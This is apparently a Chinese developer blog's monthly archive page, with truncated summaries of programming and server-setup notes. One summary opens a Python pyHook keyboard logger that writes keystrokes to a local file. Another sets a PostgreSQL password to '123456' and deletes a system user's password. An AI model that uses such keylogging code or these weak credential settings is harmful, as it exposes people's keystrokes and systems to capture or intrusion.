11 2016 档案

摘要:$ids1 = implode(",",$upload_ids);if(!empty($upload_ids)){ $ids_db= pdo_fetchall('select id from '.tablename('xx').' where FIND_IN_SET(id, :ids) and un 阅读全文
posted @ 2016-11-29 16:54 anjunact 阅读(315) 评论(0) 推荐(0)
摘要:在PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007'); 后面加一行 ob_clean(); 阅读全文
posted @ 2016-11-29 10:07 anjunact 阅读(771) 评论(0) 推荐(0)
摘要:+new Date(); 转为数字 一切(引用类型)都是对象,对象是属性的集合对象都是通过函数创建的每个函数function都有一个prototype每个对象都有一个__proto__Object.prototype确实一个特例——它的__proto__指向的是null,切记切记var obj={} 阅读全文
posted @ 2016-11-19 07:40 anjunact 阅读(130) 评论(0) 推荐(0)
摘要:package.json ENOSPC 文件监控增加一些 echo fs.inotify.max_user_watches=582222 | sudo tee -a /etc/sysctl.conf && sudo sysctl -phttp://andrewhfarmer.com/starter- 阅读全文
posted @ 2016-11-18 11:34 anjunact 阅读(199) 评论(0) 推荐(0)
摘要:https://github.com/twbs/bootstrap https://github.com/semantic-org/semantic-ui/ https://github.com/zurb/foundation-sites https://github.com/dogfalo/materialize/ https://github.com/callemall/material-ui... 阅读全文
posted @ 2016-11-15 18:02 anjunact 阅读(150) 评论(0) 推荐(0)
摘要:import pyHookimport sysimport pythoncomimport loggingfile_log = 'C:\\important\\log.txt'def OnKeyboardEvent(event): logging.basicConfig(filename = file_log, level = logging.DEBUG, format = '%(messa... 阅读全文
posted @ 2016-11-13 22:50 anjunact 阅读(221) 评论(0) 推荐(0)
摘要:ubuntu下 修改postgres数据库用户的密码为123456 sudo -u postgres psql postgres=# ALTER USER postgres WITH PASSWORD '123456'; 修改ubuntu操作系统的postgres用户的密码(密码要与数据库用户postgres的密码相同) sudo passwd –d postgres sudo -u postg... 阅读全文
posted @ 2016-11-13 12:25 anjunact 阅读(457) 评论(0) 推荐(0)
摘要:http://ruby-toolbox.com/ ~/.gemrc --- :backtrace: false :benchmark: false :bulk_threshold: 1000 :sources: - http://ruby.taobao.org :update_sources: true :verbose: true gem: --no-docume... 阅读全文
posted @ 2016-11-13 10:10 anjunact 阅读(255) 评论(0) 推荐(0)
摘要:比较两个版本 git log 0.4.x..master git show xxxxx 2增加已有代码 git remote add origin git@git.oschina.net:anjunact/rails-demo.git git push –u origin master –f 阅读全文
posted @ 2016-11-12 22:53 anjunact 阅读(120) 评论(0) 推荐(0)
摘要:http://zhaoda.net/webpack-handbookwebpack --display-error-detailsnpm install webpack-dev-server –gwebpack-dev-server --progress --colors 阅读全文
posted @ 2016-11-12 19:18 anjunact 阅读(123) 评论(0) 推荐(0)
摘要::for 是关键字, each是方法. for 后面的变量,是全局变量,不仅仅存在于for .. end 这个作用域之内 module中的 self.xx方法可以被直接调用 module中的普通方法,需要被某个class include之后, 由对应的class调用 include ModuleName == use xxx (php)ClassName.extend(ModuleName)... 阅读全文
posted @ 2016-11-12 12:19 anjunact 阅读(114) 评论(0) 推荐(0)
摘要:测试dns nslookup test.cn 10.109.68.114 ipconfig /flushdns dig test.cn @10.109.68.114 sudo /etc/init.d/nscd restart 阅读全文
posted @ 2016-11-11 13:28 anjunact 阅读(155) 评论(0) 推荐(0)
摘要:Download the latest epel-release rpm fromhttp://dl.fedoraproject.org/pub/epel/6/x86_64/ Install epel-release rpm:# rpm -Uvh epel-release*rpm Install libmcrypt-devel rpm package:# yum install libmcryp... 阅读全文
posted @ 2016-11-08 17:36 anjunact 阅读(173) 评论(0) 推荐(0)
摘要:ini_set('display_errors', '1');error_reporting(E_ALL ^ E_NOTICE); 有时有了其它框架 应该用它的配置,要不然,你改了,它又改回去了;除非你知道错的那一行,加这两行到它上面;写日志_log =’path/error.log’, 发现如果关闭显示错误,日专也不写了 阅读全文
posted @ 2016-11-07 16:22 anjunact 阅读(201) 评论(0) 推荐(0)
摘要:docker https://cr.console.aliyun.com/#/accelerator pecl install xdebug xdebug.remote_enable = on php laravel http://pkg.phpcomposer.com/ python vi ~/. 阅读全文
posted @ 2016-11-05 15:20 anjunact 阅读(111) 评论(0) 推荐(0)